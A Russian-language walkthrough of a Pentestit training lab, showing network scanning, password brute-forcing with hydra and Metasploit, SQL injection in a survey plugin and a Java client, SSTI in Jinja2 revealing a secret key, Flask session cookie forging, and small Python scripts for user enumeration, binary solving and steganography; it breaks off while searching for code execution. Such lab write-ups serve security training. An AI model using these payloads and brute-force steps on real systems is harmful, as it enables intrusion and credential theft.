Каждый год компания Pentestit запускает новую лабораторию для тестирования на проникновение «Test Lab», и данная статья будет посвящена прохождению 12-ой лаборатории, получившей название «z 9r347 39u411z3r» или если раскодировать — «The great equalizer».
Подключение к лаборатории
Подключение к лаборатории происходит через VPN-соединение (так как я проходил лабораторию на машине под управлением ОС Linux, то все действия будут описаны именно для этой платформы). Для того чтобы попасть в частную сеть, необходимо выполнить следующие шаги:
- Зарегистрироваться здесь.
- Сохранить конфигурационный файлы отсюда.
- Зайти в настройки сети и выбрать «добавить VPN».
- Импортировать из файла (указываем скачанный файл с конфигурациями).
- Указать логин и пароль для подключения (даны на вкладке «how to connect»).
- Подключаемся к VPN и пингуем шлюз 192.168.101.1. Если пинг проходит, то вы успешно подключились к лаборатории.
Поиск цели
Нам доступна сеть 192.168.101.X с маской 255.255.255.0. Первым делом необходимо найти «живые хосты» в сети. Сделать это легко можно с помощью утилиты nmap:
nmap -sn 192.168.101.0/24
ip/mask – адрес сети / маска
Так мы находим три хоста, один из которых мы уже знаем (шлюз):
- 192.168.101.1
- 192.168.101.12
- 192.168.101.13
Вторым этапом является сканирование обнаруженных хостов для поиска открытых и закрытых портов.
nmap -sV -Pn 192.168.101.12-13 -p-
-Pn – запретить пинг при сканировании
-p- – сканировать весь диапазон портов
Из отчетов видно, что недоступен 192.168.101.13, поэтому начинаем с 192.168.101.12. На 80 порту крутится web-сервер. Но при попытке зайти на него, возникает редирект на site.test.lab, который нам неизвестен (DNS не настроен на данный редирект). Проверку осуществляем с помощью браузера и утилиты curl.
curl http://192.168.101.12:80/
curl http://site.test.lab/
Сделаем запись в файле /etc/hosts для site.test.lab. Теперь, мы спокойно заходим на сайт.
Первым делом нужно собрать информацию о сайте. Самым важным является движок сайта (CMS — система управления контентом). Для этого используем утилиту wig.
wig -u http://site.test.lab/
По анализу получаем отчет – используется WordPress. Разберем вывод wig:
- IP и title записи.
- Название, версии и тип ПО.
- Важные страницы.
- Утилиты, которыми можно воспользоваться.
- Возможные уязвимости с ссылками на CVE.
Для сканирования CMS WordPress и, что важнее, установленных плагинов (именно они в большинстве своем уязвимы), лучше всего подойдет утилита wpscan.
wpscan --url http://site.test.lab/ --enumerate p --random-user-agent
--enumerate p – перечисление (брут) плагинов
--random-user-agent – менять поле user-agent
Мы получаем нужную нам информацию: версию WordPress, уязвимости и установленные плагины. Дело в том, что данные уязвимости не предоставят нам желаемый доступ. Очень полезно определить используемы плагины. В данном случае это «wp-survey-and-poll». Важно понимать, что сканеры следует использовать лишь для получения информации о ПО. Так как нет единой базы узвимостей, то сканер может показать не все существующие эксплоиты. В результате сканирования имеем:
- Версия WP: 4.9.8.
- Twentyseventeen: yes, v. 1.9
- Plugins: wp-survey-and-poll v. 1.5.7
Утилита searchsploit предназначена для удобного поиска в самой большой базе эксплойтов exploit-db, которая скачивается и сохраняется на ПК. Для версии 4.9.8 уязвимости в базе не обнаружено. Если проверим плагин, то обнаружим две уязвимости.
searchsploit "WordPress Survey Poll"
Узнаем больше про эти уязвимости. Это обычная Bind SQL-инъекция в сookie. Нам нужно ответить на вопрос и подставить в куки свой запрос. Техника очень проста: (любое выражение) OR 1=2 вернет ложь, тогда СУБД вместо решения на наш ответ выведет на экран вторую часть UNION объединенного запроса. Это все столбцы, один из которых (No 10) будет отображен на странице. Но эксплуатация из данного сегмента сети была невозможна, как стало позже известно, потому что блокирует WAF.
MAIL token
После неудачи на сайте необходимо найти другие точки входа. На сайте можно было найти логин info@test.lab, который мы будем использовать для подбора аутентификационной информации. Пройдемся по другим портам. На 8080 крутится web, но используется CSRF-токен. На 25 smtp, пароль к которому подобрать не вышло. У нас остается только порт 143 — это служба IMAP. Для брута я использовал инструмент hydra. Как оказалось, пароль был очень простой.
hydra -l info@test.lab -P '/root/rockyou.txt' imap://192.168.101.12
Так как мы нашли логин и пароль к почте, то авторизуемся на 192.168.101.12:8080.Теперь нужно как следует проанализировать всю почту. Причем необходимо собирать всю информацию, так как она может пригодиться позже. Вот что удалось найти:
- Во входящих: VPN-конфиги.
- В исходящих: Токен для задания MAIL.
- Имя пользователя sviridov@test.lab
VPN over VPN
Нам нужно расширяться в глубь сети компании. У нас есть VPN-конфиг, но отключиться от основного мы не можем. Данная техника называется VPN over VPN – когда мы подключаем VPN внутри VPN внутри VPN и т. д. Для VPN необходимы логин и пароль. Мы знаем только 2-х пользователей (info и sviridov) и пароль одного из них. Пробуем подключиться по известному логину и паролю, если не получится, то будем брутить. Для подключения выполним следующие шаги:
- Создаем файл userVPN.txt, где первая строка это логин, а вторая – пароль.
- Дописываем путь к этому файлу в VPN-конфиг в графе auth-user-pass
- Создаешь bash скрипт OverVPN.sh со следующим содержимым: openvpn --config путь_до_фала_конфигураций &
- Назначаем ему права: chmod 770 ./OverVPN.sh
- Запускаем: ./OverVPN.sh
Нам повезло, пользователь info@test.lab успешно авторизован, и нам говорят, что доступна новая сеть 172.16.0.0/16.
Первым делом необходимо найти «живые хосты» в сети, как это делали в прошлый раз:
nmap -sn 172.16.0.0/16
Так мы находим четыре хоста.
Просканируем каждый хост. На 172.16.0.1 ничего не обнаружено. Смею предположить, что это наш давно известный 192.168.101.13 в другой сети. Именно через него мы и связаны с этой сетью. На 172.16.0.10 доступен только Web-сервер на 80 порту. На 172.16.0.17 видим целый «полигон» для тестирования. На 172.16.1.2 ничего. Скорее всего это еще один VPN сервис.
DNS token
Так как следующий в списке токенов – DNS, то начнем анализировать DNS службу на 172.16.0.17 порт 53. Главная уязвимость, это получение DNS записей — трансфер зоны DNS (так называем AXFR запрос). Выполним его с помощью утилит nslookup и dig.
Первой узнаем зоны и имена серверов, отвечающих за эти зоны.
nslookup
> set type=ANY
> set port=53
> SERVER 172.16.0.17
> test.lab
Второй выполним трансфер.
dig @172.16.0.17 ns1.test.lab axfr
Этот DNS-сервер не отвечает. Но он знает об остальных DNS в сети. Утилита dnsrecon позволяет проделать абсолютные любые операции с dns. Получим остальные DNS в сети, и добавим их в файл /etc/hosts.
dnsrecon -d test.lab -n 172.16.0.17 -t brt
-n «сервер»
-t brt – техника, в данном случае брутфорс.
При сканировании хоста 172.16.0.17 получим токен.
dnsrecon -d test.lab -n 172.16.0.17 -a
Helpdesk token
Следующее по списку задание: helpdesk. Мы нашли и добавили схожий домен. Причем это единственный сервис, который работает на 172.16.0.10. Там простая форма авторизации, никаких CMS не используется. Как всегда, пробуем войти под известными пользователями. И спокойно заходим под пользователем info@test.lab. Видим форму запросов, после запроса token, ничего не получаем. Видимо у нас его нет, но, как это бывает в подобных заданиях, он доступен другому пользователю. Немного просмотрев страницу, находим возможность сменить пароль.
Просканировав различными сканерами формы поиска и смены пароля, ничего не находим. Глянем исходный код страницы смены пароля. Если его обновить секолько раз, то можно заметить, что скрытое поле с CSRF-токеном не изменяется. То есть это не CSRF-токен. Это base64, декодируем и получаем число.
Так как не отправляются никакие cookie, то очевидно, что это id пользователя. План следующий: меняем пароли на всех id, а на тех id, на которых получен успешный результат, по нашему паролю подбираем логин.
Всего два id ответили успешно на запрос о смене пароля. Теперь осталось подобрать логин. Root и admin результата не дали, а вот sviridov@test.lab дает нам токен.
AD token
Перед тем, как идти по пути VPN, посмотрим сервисы на 172.16.0.17. Копаем SAMBA workgroup TEST (из анализа nmap). Первым делом нужно узнать пользователей в домене:
enum4linux -U 172.16.0.17
Enum4linux определяет домены, пользователей в доменах, их rid и другую информацию. Среди пользователей забираем и токен. Кстати, все логины лучше сохранить.
USERS token
Из helpdesk задания узнали, что пользователю sviridov выдали доступ к сети, т. е. vpn конфиг. Пароль берем также из helpdesk. Пробуем подключиться к 192.168.101.13 по имеющемуся конфигу, но заменим логин и пароль пользователя в userVPN.txt.
Ничего не получается. Тогда пробуем подключится к 192.168.101.12. Мы подключены, и нам доступны сети 192.168.0.0/24 и 172.16.0.0/16.
Теперь снова необходимо проводить разведку сети. Нам доступна две сеть 172.16.0.0 с маской 255.255.0.0, где мы находим восемь хостов, и сеть 192.168.0.0/24, которая не сканируется. Видимо на всех хостах активирован брэндмауер. Сканируем с опцией -Pn, и в отчете получаем абсолютно все хосты и везде фильтруются порты. Замечаем, что в сети есть хосты, у которых открыт 22 порт:
- 192.168.0.10
- 192.168.0.15
- 192.168.0.30
- 192.168.0.100
- 192.168.0.205
- 192.168.0.240
Так как единственное, что есть в сети 192.168.0.0/24 – шесть хостов с открытыми ssh портами, то пробрутим их все на возможность подключения под одним из известных нам пользователей.
Так как хостов шесть, то автоматизируем поиск с помощью утилиты metasploit framework. Будем использовать модуль auxiliary/scanner/ssh/ssh_login.
> use auxiliary/scanner/ssh/ssh_login
> set RHOSTS 192.168.0.10 192.168.0.15 192.168.0.30 192.168.0.100 192.168.0.205 192.168.0.240
> set USERPASS_FILE '/root/CTF/PT12/userspass.txt'
> exploit
Заходим на все хосты под обоими пользователями и ищем информацию. После долгого блуждания на 192.168.0.100 находим ошибку в правах доступа. Домашняя директория пользователя доступна для просмотра абсолютно всем. В ней находим токен. Но его автор – sviridov. Логинимся под Свридовым и сдаем токен.
Больше ничего интересного найдено не было. Ip route других сетей не имел. В cron стояла только чистилка. В /tmp/ много непонятного:
- 1.sh — ничего не давал.
- Client.jar не запускается, так как нет JVM. Странно зачем он вообще нужен.
- Переименновай в DAGESTAN_SILA nmap.
- Два чекера на повышение привелений.
- И куча разного мусора.
VPN token
В сети 172.16.0.0/16 на всех хостах открыт 80 порт. Стоит просмотреть сайты на всех хостах:
- На 172.16.1.10 находим токен!!! Подошел к заданию VPN. Видимо задание состояло в том, чтобы догадаться подключиться к 192.168.101.12 под пользователем sviridov.
- На 172.16.1.12 форма авторизации.
- На 172.16.1.15 basis-аутентификация.
Было очень легко, идем дальше.
SIEM token
Идем на 172.16.1.12. Читаем что такое Prewikka. Prewikka – это основной пользовательский интерфейс SIEM-системы Prelude, реализованный через Web. Доступ к интерфейсу осуществляется через Web-браузер. Аутентификация производится с помощью локальных учетных записей или через LDAP-каталог. Эксплоиты найти не удалось. Гуглим логин и пароль по умолчанию. Неудача, т. к. они указываются при установке системы. Но можно попробобать пример из документации: prelude:preludepasswd — не подошло. Попробуем пользователей, которых мы уже знаем (причем мы знаем пароли только двоих). Подошел sviridov. Важно заметить, что доступ к SIEM системе имеет только администратор. Можно утверждать, что мы определили админа.
Наблюдаем, что выводятся данные за этот месяц. Переведем журнал на месяц ранее и увидим залогированные данные.
Сразу отметим домены, которые добавим в /etc/hosts:
- (admin.test.lab) 172.16.1.25
- (vpn-admin.test.lab) 172.16.1.10
- (repository.test.lab) 172.16.1.15
- (site.test.lab) 172.16.0.14
Среди логов repository.test.lab найдем токен.
Так как мы нашли и добавили новую запись для site.test.lab в /etc/hosts, вернемся и проэксплуатируем уязвимость на site.
Site token
Вернемся к site.test.lab, который теперь соответствует 172.16.0.14. Посмотрим, сработает ли на него WAF. Отправляем нашу нагрузку из примера и получаем версию СУБД. Далее узнаем какая база данных используется. Если совпадет с дефолтными данными, то можно сразу получить имя и хеш пользователя, так как по дефолту таблица с пользователями: wp_users. Имя БД (wordpress) совпадает, поэтому узнаем имя пользователя и пароль. К сожалению, это ничего не дает. Пароль пробрутить тоже не вышло.
Далее (технику я описывать не буду, это основы) идем по обычному в данном случае пути – получаем названия всех таблиц. Среди них есть нужная таблица – token. Узнаем какие есть столбцы и типы данных. После чего понимаем, что нужно получить значение name.
Repository token
В SIEM мы нашли логи для repository.test.lab. Попробуем авторизоваться при помощи найденных данных. Можно снова вернуться и поискать логи абсолютно на все сервисы, которые там есть.
Переходим, пытаемся авторизоваться. Успешно!!! Видим какие-то файлы и токен.
Reverse token
В репозитории кроме токена лежали еще два файла. Один из них для задания Reverse – это bin файл. Проведем базовый анализ исполняемого файла:
- Strings – утилита, которая отобразит все строки из файла. В данном случае видим много base64 строк. Декодирование ничего не дает.
- Ltrace – утилита, которая перехватыват вызов библиотечных функций. В данном случае никаких библиотечных функций не вызывалось.
- Strace – утилита, которая перехватывает все сисколы (системные вызовы). Полезных нам данных мы не получили.
Полезных нам данных мы не получили. Для заданий такого плана я предпочитаю использовать Angr для автоматического решения (более подробно про библиотеку angr я напишу в последующих статьях). Привожу код на языке python.
import angr
import claripy
proj = angr.Project('./bin')
simgr = proj.factory.simgr()
simgr.explore(find=lambda s: b"ACCESS GRANTED!" in s.posix.dumps(1))
s = simgr.found[0]
print(s.posix.dumps(0))
Получаем токен в качестве ответа.
DB token
Теперь разберемся с jar-файлом. Нужно понять, что он делает. Java является декомпилируемым языком, поэтому получим исходный код. Есть много программ, которые позволяют это сделать (лучшие: JAD, JD-gui, Javasnoop, плагин Intellij Idea Decompiler, JD-plugin Eclipse). Я использую JD-gui для декомпиляции и Intellij Idea для сборки проектов. Получим исходный проект, выполнив следующие шаги:
- Запустим jd-gui. В Linux есть проблема с запуском, которую можно решить так – создать bash файл со следующим содержимым:
java --add-opens java.base/jdk.internal.loader=ALL-UNNAMED --add-opens jdk.zipfs/jdk.nio.zipfs=ALL-UNNAMED -jar /usr/share/jd-gui/jd-gui.jar
- Загрузить client.jar и сохранить.
- Открыть Intellij Idea → Import Project. Указать путь к папке с файлами.
- Create project from existing sources.
Разберем код приложения, чтобы представлять себе для чего оно нужно. Первым делом устанавливаются параметры подключения и SSL. Обращение происходит по адресу 172.16.0.55 на порт 5074. Далее нам выводится сообщение с просьбой ввести одну из цифр для выбора запроса. В зависимости от нее в функцию Reqvest передается определенный параметр. Функция Reqvest возвращает сформированный запрос в формате json. Отправляем запрос и получаем ответ.
Есть сложность: нам не доступен хост 172.16.0.55. Но мы нашли подобное приложение на 192.168.0.240 у Свиридова. Значит маршрутизация настроена таким образом, что с его компьютера есть доступ к серверу приложения. Так как мы имеем доступ по SSH, мы можем пробросить порт на свою локаль. Для проброса порта используем утилиту sshuttle.
sshuttle -r sviridov@192.168.0.240 172.16.0.0/16
Как итог — получаем доступ в сеть.
Теперь протестируем приложение в режиме отладки, но чтобы что-то изменить, нужно пересобрать проект. При попытке запустить приложение через F9, получаем ошибку. Для ее исправления необходимо:
- Очистить повторения.
- Ошибка в json. Удалить всю папку с проета.
- Выбираем проект, в контекстном меню: Open Module Setting или F4
- Во вкладке Dependencies выбрать «+» и указать jar-файл. Так мы из готового проекта подгрузим уже собранные библиотеки, которые испортил декомпилятор.
Теперь приложение успешно запускается, и мы можем приступить к поиску уязвимостей. Строка запроса, как мы разобрались, формируется внутри функции Reqvest. Изменим немного код, чтобы понять, как реагирует система на любой наш ввод. Допишем строки, в которых будем контролировать возвращаемый параметр и отображать его в консоли. Далее выполним четыре возможных запроса. Как можем наблюдать, передается JSON-строка. И система, чем-то напоминает HelpDesk, вернет нам запросы пользователя. Кстати, видимо на сервере крутятся базы данных, так как приложение возвращает нам пользователя под которым сделан запрос.
Для того, чтобы было удобней изменять и подстраивать параметры, сделаем так, чтобы функция возвращала постоянно одну и ту же строку.
Так как на сервере используется БД, то первым делом проверим наличие SQL-иньекции:
- Отправим самую безобидную нагрузку — функцию задержки. Запрос с задержкой на 10 секунд выполняется намного дольше, чем с задержкой на 0 секунд. Есть SLEEP инъекция.
- Проверим уязвима ли она для BLIND. Так как вывод на верное условие не изменился, то приложение уязвимо и для BLIND инъекции.
- Сперва нужно выяснить количество столбцов в выводе. Для этого мы строим объединенный запрос UNION. Перебираем количество столбцов пока не будет вывода. Так вывод появляется при 5 столбцах.
- Теперь необходимо узнать служебную информацию: СУБД (@@version) и имя БД (database()). Имя БД – чтобы знать к чему обращаться, а СУБД – каким окружение оперировать. Так узнаем, что используется MySQL, а имя БД – «reqvest».
- Теперь через окружение information_schema узнаем какие существуют таблицы. Нас интересует token.
- Узнаем какие столбцы есть в таблице token.
- Выводим содержимое таблицы token.
Вот таким интересным получилось данное задание!!!
User api token
После обнаружения шести скрытых хостов в сети 192.168.0.0/24 я задумался о том, что такие могут быть и в 172.16.0.0/16. Выполним такое же сканирование по оcновным портам. Так как вывод слишком большой то будем искать по ключевому слову «open». Находим еще два хоста с открытым вебом.
Что же, раз от нас пытались скрыть 172.16.1.20:8000, заходим на него и видим AJAX-приложение. Ну как всегда просканируем директории. Все, что нашел dirb, и так нам доступно.
Страница contact для нас бесполезна. Страница login требует авторизоваться. А support содержит какой-то файл-баркод. Похоже это стего, поэтому пока оставим. Кстати, если заходить на эту страницу несколько раз, то появляются разные изображения. Сохраним все, их всего 4. Декодируются как «support_team».
Просморим, какие каталоги есть. Наблюдаем пять каталогов: contac, get_user_list, recover_password, login, support. Так если обратиться к каталогу get_user_list, нам скажут, что есть два параметра – строка login и строка password. Смотрим, подбираем пользователей и пароли – ничего не дает. В баркодах было support_team пробуем как логин. И снова брут нигде ничего не дает.
Случайно вставив кавычку, обнаружим странную реакцию.
login=support_team“&password=“ and “1=1“
И нам показывают список пользователей.
При попытке зайти под любым пользователем, получаем ту же ошибку. Найдем верную пару user:login. Напишем скрипт, который пройдет все пары и выберет те, которые пройдут проверку.
from requests import get
list_user = [{"login": "potapova", "user": "Potapova"}, {"login": "popov", "user": "Popov"}, {"login": "kiselev", "user": "Kiselev"}, {"login": "semenova", "user": "Semenova"}, {"login": "kulikov", "user": "Kulikov"}, {"login": "uvarov", "user": "Uvarov"}, {"login": "blohina", "user": "Blohina"}, {"login": "frolova", "user": "Frolova"}, {"login": "volkova", "user": "Volkova"}, {"login": "morozova", "user": "Morozova"}, {"login": "fadeeva", "user": "Fadeeva"}, {"login": "gorbacheva", "user": "Gorbacheva"}, {"login": "pavlova", "user": "Pavlova"}, {"login": "ivanov", "user": "Ivanov"}, {"login": "safonov", "user": "Safonov"}, {"login": "kalinina", "user": "Kalinina"}, {"login": "krjukova", "user": "Krjukova"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "shubin", "user": "Shubin"}, {"login": "lapin", "user": "Lapin"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "zaharova", "user": "Zaharova"}, {"login": "kudrjashova", "user": "Kudrjashova"}, {"login": "sysoev", "user": "Sysoev"}, {"login": "panfilov", "user": "Panfilov"}, {"login": "konstantinova", "user": "Konstantinova"}, {"login": "prohorova", "user": "Prohorova"}, {"login": "lukin", "user": "Lukin"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "eliseev", "user": "Eliseev"}, {"login": "maksimov", "user": "Maksimov"}, {"login": "aleksandrova", "user": "Aleksandrova"}, {"login": "bobrova", "user": "Bobrova"}, {"login": "ignatova", "user": "Ignatova"}, {"login": "belov", "user": "Belov"}, {"login": "fedorova", "user": "Fedorova"}, {"login": "mihajlova", "user": "Mihajlova"}, {"login": "burov", "user": "Burov"}, {"login": "rogov", "user": "Rogov"}, {"login": "kornilov", "user": "Kornilov"}, {"login": "fedotova", "user": "Fedotova"}, {"login": "nikolaeva", "user": "Nikolaeva"}, {"login": "nikiforov", "user": "Nikiforov"}, {"login": "sobolev", "user": "Sobolev"}, {"login": "molchanova", "user": "Molchanova"}, {"login": "sysoev", "user": "Sysoev"}, {"login": "jakovleva", "user": "Jakovleva"}, {"login": "blinova", "user": "Blinova"}, {"login": "eliseev", "user": "Eliseev"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "komissarova", "user": "Komissarova"}, {"login": "kazakova", "user": "Kazakova"}, {"login": "lobanov", "user": "Lobanov"}, {"login": "panova", "user": "Panova"}, {"login": "ovchinnikova", "user": "Ovchinnikova"}, {"login": "bykov", "user": "Bykov"}, {"login": "karpov", "user": "Karpov"}, {"login": "panova", "user": "Panova"}, {"login": "guschina", "user": "Guschina"}, {"login": "korolev", "user": "Korolev"}, {"login": "shilov", "user": "Shilov"}, {"login": "burov", "user": "Burov"}, {"login": "zhuravlev", "user": "Zhuravlev"}, {"login": "fomichev", "user": "Fomichev"}, {"login": "ponomareva", "user": "Ponomareva"}, {"login": "nikiforov", "user": "Nikiforov"}, {"login": "bobrova", "user": "Bobrova"}, {"login": "stepanova", "user": "Stepanova"}, {"login": "dmitriev", "user": "Dmitriev"}, {"login": "dorofeeva", "user": "Dorofeeva"}, {"login": "silin", "user": "Silin"}, {"login": "tsvetkov", "user": "Tsvetkov"}, {"login": "antonov", "user": "Antonov"}, {"login": "belov", "user": "Belov"}, {"login": "novikova", "user": "Novikova"}, {"login": "martynov", "user": "Martynov"}, {"login": "kovalev", "user": "Kovalev"}, {"login": "egorov", "user": "Egorov"}, {"login": "kirillova", "user": "Kirillova"}, {"login": "chernova", "user": "Chernova"}, {"login": "dmitriev", "user": "Dmitriev"}, {"login": "kazakov", "user": "Kazakov"}, {"login": "gavrilova", "user": "Gavrilova"}, {"login": "beljaeva", "user": "Beljaeva"}, {"login": "kulakova", "user": "Kulakova"}, {"login": "samsonova", "user": "Samsonova"}, {"login": "pavlova", "user": "Pavlova"}, {"login": "zimina", "user": "Zimina"}, {"login": "sidorova", "user": "Sidorova"}, {"login": "strelkov", "user": "Strelkov"}, {"login": "guseva", "user": "Guseva"}, {"login": "kulikov", "user": "Kulikov"}, {"login": "shestakov", "user": "Shestakov"}, {"login": "ershova", "user": "Ershova"}, {"login": "davydov", "user": "Davydov"}, {"login": "nikolaev", "user": "Nikolaev"}, {"login": "andreev", "user": "Andreev"}, {"login": "rjabova", "user": "Rjabova"}, {"login": "grishin", "user": "Grishin"}, {"login": "turov", "user": "Turov"}, {"login": "kopylov", "user": "Kopylov"}, {"login": "maksimova", "user": "Maksimova"}, {"login": "egorov", "user": "Egorov"}, {"login": "seliverstov", "user": "Seliverstov"}, {"login": "kolobov", "user": "Kolobov"}, {"login": "kornilova", "user": "Kornilova"}, {"login": "romanov", "user": "Romanov"}, {"login": "beljakov", "user": "Beljakov"}, {"login": "morozov", "user": "Morozov"}, {"login": "konovalova", "user": "Konovalova"}, {"login": "kolobov", "user": "Kolobov"}, {"login": "koshelev", "user": "Koshelev"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "seleznev", "user": "Seleznev"}, {"login": "smirnov", "user": "Smirnov"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "voronova", "user": "Voronova"}, {"login": "zhdanov", "user": "Zhdanov"}, {"login": "zueva", "user": "Zueva"}, {"login": "mjasnikova", "user": "Mjasnikova"}, {"login": "medvedeva", "user": "Medvedeva"}, {"login": "knjazeva", "user": "Knjazeva"}, {"login": "kuznetsova", "user": "Kuznetsova"}, {"login": "komissarova", "user": "Komissarova"}, {"login": "gorbunova", "user": "Gorbunova"}, {"login": "blohina", "user": "Blohina"}, {"login": "tarasov", "user": "Tarasov"}, {"login": "lazarev", "user": "Lazarev"}, {"login": "rusakova", "user": "Rusakova"}, {"login": "vinogradov", "user": "Vinogradov"}, {"login": "shilov", "user": "Shilov"}, {"login": "strelkova", "user": "Strelkova"}, {"login": "komissarov", "user": "Komissarov"}, {"login": "kirillov", "user": "Kirillov"}, {"login": "jakusheva", "user": "Jakusheva"}, {"login": "mironov", "user": "Mironov"}, {"login": "kudrjavtseva", "user": "Kudrjavtseva"}, {"login": "vlasova", "user": "Vlasova"}, {"login": "fomin", "user": "Fomin"}, {"login": "nosova", "user": "Nosova"}, {"login": "aleksandrov", "user": "Aleksandrov"}, {"login": "teterina", "user": "Teterina"}, {"login": "gromov", "user": "Gromov"}, {"login": "odintsova", "user": "Odintsova"}, {"login": "schukin", "user": "Schukin"}, {"login": "shashkov", "user": "Shashkov"}, {"login": "lobanova", "user": "Lobanova"}, {"login": "suvorova", "user": "Suvorova"}, {"login": "panfilov", "user": "Panfilov"}, {"login": "loginov", "user": "Loginov"}, {"login": "kovalev", "user": "Kovalev"}, {"login": "rybakov", "user": "Rybakov"}, {"login": "konstantinova", "user": "Konstantinova"}, {"login": "bykov", "user": "Bykov"}, {"login": "lukina", "user": "Lukina"}, {"login": "vinogradov", "user": "Vinogradov"}, {"login": "antonova", "user": "Antonova"}, {"login": "nekrasov", "user": "Nekrasov"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "denisov", "user": "Denisov"}, {"login": "stepanova", "user": "Stepanova"}, {"login": "suvorova", "user": "Suvorova"}, {"login": "krjukova", "user": "Krjukova"}, {"login": "samojlova", "user": "Samojlova"}, {"login": "gromov", "user": "Gromov"}, {"login": "kazakov", "user": "Kazakov"}, {"login": "matveev", "user": "Matveev"}, {"login": "sergeeva", "user": "Sergeeva"}, {"login": "bobylev", "user": "Bobylev"}, {"login": "sitnikova", "user": "Sitnikova"}, {"login": "grishina", "user": "Grishina"}, {"login": "blinova", "user": "Blinova"}, {"login": "doronina", "user": "Doronina"}, {"login": "ignatov", "user": "Ignatov"}, {"login": "gromov", "user": "Gromov"}, {"login": "koshelev", "user": "Koshelev"}, {"login": "orehov", "user": "Orehov"}, {"login": "matveev", "user": "Matveev"}, {"login": "rozhkova", "user": "Rozhkova"}, {"login": "gerasimov", "user": "Gerasimov"}, {"login": "martynova", "user": "Martynova"}, {"login": "molchanova", "user": "Molchanova"}, {"login": "timofeeva", "user": "Timofeeva"}, {"login": "kuznetsov", "user": "Kuznetsov"}, {"login": "loginova", "user": "Loginova"}, {"login": "maslova", "user": "Maslova"}, {"login": "matveev", "user": "Matveev"}, {"login": "zaharov", "user": "Zaharov"}, {"login": "nikiforova", "user": "Nikiforova"}, {"login": "galkina", "user": "Galkina"}, {"login": "vishnjakova", "user": "Vishnjakova"}, {"login": "kulakov", "user": "Kulakov"}, {"login": "medvedev", "user": "Medvedev"}, {"login": "antonova", "user": "Antonova"}, {"login": "konovalov", "user": "Konovalov"}, {"login": "lazarev", "user": "Lazarev"}, {"login": "bobylev", "user": "Bobylev"}, {"login": "lihachev", "user": "Lihachev"}, {"login": "nikolaeva", "user": "Nikolaeva"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "gorbachev", "user": "Gorbachev"}, {"login": "nikolaev", "user": "Nikolaev"}, {"login": "semenova", "user": "Semenova"}, {"login": "semenov", "user": "Semenov"}, {"login": "kuznetsov", "user": "Kuznetsov"}, {"login": "gromova", "user": "Gromova"}, {"login": "samsonov", "user": "Samsonov"}, {"login": "konovalov", "user": "Konovalov"}, {"login": "gusev", "user": "Gusev"}, {"login": "sitnikov", "user": "Sitnikov"}, {"login": "ignatov", "user": "Ignatov"}, {"login": "voronova", "user": "Voronova"}, {"login": "mihajlov", "user": "Mihajlov"}, {"login": "lazareva", "user": "Lazareva"}, {"login": "nazarova", "user": "Nazarova"}, {"login": "krylova", "user": "Krylova"}, {"login": "morozova", "user": "Morozova"}, {"login": "medvedeva", "user": "Medvedeva"}, {"login": "samsonova", "user": "Samsonova"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "shirjaeva", "user": "Shirjaeva"}, {"login": "scherbakov", "user": "Scherbakov"}]
url = "http://172.16.1.20:8000/recover_password"
l = len(list_user)
valid=[]
for i in range(l):
print(str(i)+" - " + str(l))
req = get(url, params=list_user[i])
if "use valid credentials" not in req.text:
print(list_user[i])
valid.append(list_user[i])
print(valid)
Так мы находим Медведева.
Восстановим его пароль. Сдать сразу не получится, так как «+» будет распознан как пробел, а «&» как разделитель. Кодируем в URLencode и забираем токен.
Image token
Так, мы нашли картинки для стего. Давайте разбираться. Утилитой file, binwalk и hex-редактором проверяем файлы на вложения. Их нет, потому проведем анализ утилитой stegsolve. B самой большой картике находим выпадающие биты на 2-х и 1-х позициях rgb. Это LSB метод.
Дальше, как я не крутил в stegsolve, ничего не получил. Придется разбираться более глубоко ручками. Для этого используем PIL библиотеку python для работы с изображениями. Просматриваем картинку, и видим что пиксели принимают три значения – 0, 255 и 249. Построим бинарную карту изображения. Так как 0 и 255 для баркодов – это нормальные значения, то вместо них будем записывать «0», а вместо 249 – «1». Дальше попробуем разбить нашу карту по шестнадцать символов и удалить из нее все строки, которые содержат только шестнадцать нулей. Далее из каждой строки выписываем позицию единицы, и переводим из шестнадцатиричного вида в строку, чтобы получить токен.
from PIL import Image
import binascii
image = Image.open('./support4.png')
width, height = image.size
pix = image.load()
r=''
for i in range(height):
for j in range(width):
if(sum(pix[j,i])!=765 and sum(pix[j,i])!=0):
r+='1'
else:
r+='0'
token=''
for i in range(0,len(r),16):
if r[i:i+16] != '0'*16:
token+=hex(r[i:i+16].find('1'))[2]
print(token)
My token
Так. В файле /etc/hosts есть еще my.test.lab, куда мы еще не ходили. Форма авторизации. У нас есть пользователи info, sviridov и medvedev. Успешно заходим под info. Есть строка поиска. На запрос токена нам выдают пять картинок с пони. Ничего нет, Просканируем. При использовании wapiti нас банят. При некоторых запросах для проверки SQL-inj и XSS также получаем бан. Отправляем простой запрос для тестирования SSTI: {{7*7}}. И код выполнился, так как в ответе мы получили 49.
Осталось определить шаблонизатор, который используется на сервере. Это необходимо для того, чтобы знать с каким окружением (переменные, функции, константы и т. п.) работать. Это можно легко сделать по следующей схеме.
Уже знаем, что это Jinja2 или Twig. Поэтому отправляем следующий запрос: {{7*“7“}}. Получаем положительный ответ. Это питоновский шаблонизатор Jinja2, что легко подтверждается запросом {{self}}.
Просмотрим конфигурации: {{config}}. Там находим секретный ключ, который и является токеном.
API token
Из документации узнаем, что jinja2 формирует куки в зависимоти от секретного ключа сервера. Для эксплуатации уязвимости нам понадобится скрипт flask-session-cookie-manager. Нам нужно проверить подойдет ли этот секретный ключ. Для этого нам нужно попытаться расшифровать на нем сессию пользователя info. Куки свободно расшифровывается.
Зная формат куки, мы теперь можем войти под любым пользователем. Для этого необходимо также сгенерировать куки. После долгих неудач, заметил корреляцию среднего блока и системного времени. Меняем дату, пока не совпадет начало среднего блока. Дошел до 2060 года. Генерировал пользователей token и sviridov, но это ничего не дает, поэтому решил сгенерировавать для admin. После успешной подмены куки получаем какие-то секретные ключи пользователей, для чего они так и не понял.
Дальше уходит три дня для поиска RCE (удаленное выполнение кода) через SSTI. Дело в том, что мы можем оперировать только подгруженным на сервере модулям и функциям из них. Для начала узнаем каке функции есть. Это сделаем через flask-cookie.
